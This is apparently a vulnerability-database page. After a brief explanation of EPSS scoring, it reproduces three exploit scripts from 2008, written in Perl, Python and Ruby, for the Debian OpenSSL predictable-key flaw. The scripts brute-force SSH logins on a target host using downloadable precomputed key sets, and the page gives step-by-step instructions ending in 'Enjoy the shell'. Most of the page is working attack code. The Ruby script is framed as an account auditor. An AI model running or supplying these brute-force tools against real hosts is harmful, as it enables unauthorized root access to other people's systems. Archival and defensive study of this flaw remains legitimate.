The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

the debian openssl issue leads that there are only 65.536 possible ssh keys generated, cause the only entropy is the pid of the process generating the key. This leads to that the following perl script can be used with the precalculated ssh keys to brute force the ssh login. It works if such a keys is installed on a non-patched debian or any other system manual configured to. On an unpatched system, which doesn't need to be debian, do the following: keys provided by HD Moore - http://metasploit.com/users/hdm/tools/debian-openssl/ ***E-DB Note: Mirror ~ https://github.com/g0tmi1k/debian-ssh*** 1. Download http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2 https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2) 2. Extract it to a directory 3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048 Bits, generated on an upatched debian (this is the key this exploit will break) 4. Run the perl script and give it the location to where you extracted the bzip2 mentioned. #!/usr/bin/perl my $keysPerConnect = 6; unless ($ARGV[1]) { print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n"; print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n"; print "By mm@deadbeef.de\n"; exit 0; } chdir($ARGV[0]); opendir(A, $ARGV[0]) || die("opendir"); while ($_ = readdir(A)) { chomp; next unless m,^\d+$,; push(@a, $_); if (scalar(@a) > $keysPerConnect) { system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i ".$_ } @a)." ".$ARGV[1]); @a = (); } } 5. Enjoy the shell after some minutes (less than 20 minutes) Regards, Markus Mueller mm@deadbeef.de # milw0rm.com [2008-05-15]

#!/bin/python # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, # MA 02110-1301, USA. ############################################################################ # Autor: hitz - WarCat team (warcat.no-ip.org) # Collaborator: pretoriano # # 1. Download https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2) # # 2. Extract it to a directory # # 3. Execute the python script # - something like: python exploit.py /home/hitz/keys 192.168.1.240 root 22 5 # - execute: python exploit.py (without parameters) to display the help # - if the key is found, the script shows something like that: # Key Found in file: ba7a6b3be3dac7dcd359w20b4afd5143-1121 # Execute: ssh -lroot -p22 -i /home/hitz/keys/ba7a6b3be3dac7dcd359w20b4afd5143-1121 192.168.1.240 ############################################################################ import Queue import os import string import time from threading import Thread import sys #This class only has a boolean, which will be True if some thread find the key class End(): def __init__(self): self.end = False def Finish(self): self.end = True def GetEnd(self): return self.end #This is the thread class class Connection(Thread): def __init__(self,QueueDir,TheEnd,dir,host,user,port='22'): Thread.__init__(self) self.QueueDir = QueueDir self.TheEnd = TheEnd self.dir = dir self.host = host self.user = user self.port = port def run(self): while (not self.TheEnd.GetEnd()) and (not self.QueueDir.empty()): key = self.QueueDir.get() cmd = 'ssh -l ' + self.user cmd = cmd + ' -p ' + self.port cmd = cmd + ' -o PasswordAuthentication=no' cmd = cmd + ' -i ' + self.dir + '/' + key cmd = cmd + ' ' + self.host + ' exit; echo $?' pin,pout,perr = os.popen3(cmd, 'r') pin.close() #To debug descoment the next line. This will show the errors reported by ssh #print perr.read() if pout.read().lstrip().rstrip() == '0': self.TheEnd.Finish() print '' print 'Key Found in file: '+ key print 'Execute: ssh -l%s -p%s -i %s/%s %s' %(self.user,self.port,self.dir,key,self.host) print '' print '\n-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org' if len(sys.argv) < 4: print './exploit.py [[port] [threads]]' print ' : Path to SSH privatekeys (ex. /home/john/keys) without final slash' print ' : The victim host' print ' : The user of the victim host' print ' [port]: The SSH port of the victim host (default 22)' print ' [threads]: Number of threads (default 4) Too big numer is bad' sys.exit(1) dir = sys.argv[1] host = sys.argv[2] user = sys.argv[3] if len(sys.argv) <= 4: port='22' threads=4 else: if len(sys.argv) <=5: port=sys.argv[4] threads = 4 else: port=sys.argv[4] threads = sys.argv[5] ListDir = os.listdir(dir) QueueDir=Queue.Queue() TheEnd = End() for i in range(len(ListDir)): if ListDir[i].find('.pub') == -1: QueueDir.put(ListDir[i]) initsize = QueueDir.qsize() tested = 0 for i in range(0,int(threads)): Connection(QueueDir,TheEnd,dir,host,user,port).start() while (not TheEnd.GetEnd()) and (not QueueDir.empty()): time.sleep(5) actsize = QueueDir.qsize() speed = (initsize - tested - actsize)/5 tested = initsize - actsize print 'Tested %i keys | Remaining %i keys | Aprox. Speed %i/sec' %(tested,actsize,speed) # milw0rm.com [2008-06-01]

#!/usr/bin/ruby # # Debian SSH Key Tester # L4teral # # This tool helps to find user accounts with weak SSH keys # that should be regenerated with an unaffected version # of openssl. # # You will need the precalculated keys provided by HD Moore # See http://metasploit.com/users/hdm/tools/debian-openssl/ # for further information. # # Common Keys: # # https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5632.tar.bz2 (debian_ssh_dsa_1024_x86.tar.bz2) # https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2) # # # Usage: # debian_openssh_key_test.rb # # E-DB Note: See here for an update ~ https://github.com/offensive-security/exploitdb/pull/76/files # require 'thread' THREADCOUNT = 10 KEYSPERCONNECT = 3 queue = Queue.new threads = [] keyfiles = [] host = ARGV.shift or raise "no host given!" user = ARGV.shift or raise "no user given!" keysdir = ARGV.shift or raise "no key dir given!" Dir.new(keysdir).each do |f| if f =~ /\d+$/ then keyfiles << f queue << f end end totalkeys = queue.length currentkey = 1 THREADCOUNT.times do |i| threads << Thread.new(i) do |j| while !queue.empty? keys = [] KEYSPERCONNECT.times { keys << queue.pop unless queue.empty? } keys.map! { |f| f = File.join(keysdir, f) } keys.each do |k| puts "testing key #{currentkey}/#{totalkeys} #{k}..." currentkey += 1 end system "ssh -l #{user} -o PasswordAuthentication=no -i #{keys.join(" -i ")} #{host} \"exit\" &>/dev/null" if $? == 0 then keys.each do |k| system "ssh -l #{user} -o PasswordAuthentication=no -i #{k} #{host} \"exit\" &>/dev/null" if $? == 0 then puts "KEYFILE FOUND: \n#{k}" exit end end end end end end trap("SIGINT") do threads.each { |t| t.exit() } exit end threads.each { |t| t.join } # milw0rm.com [2008-05-16]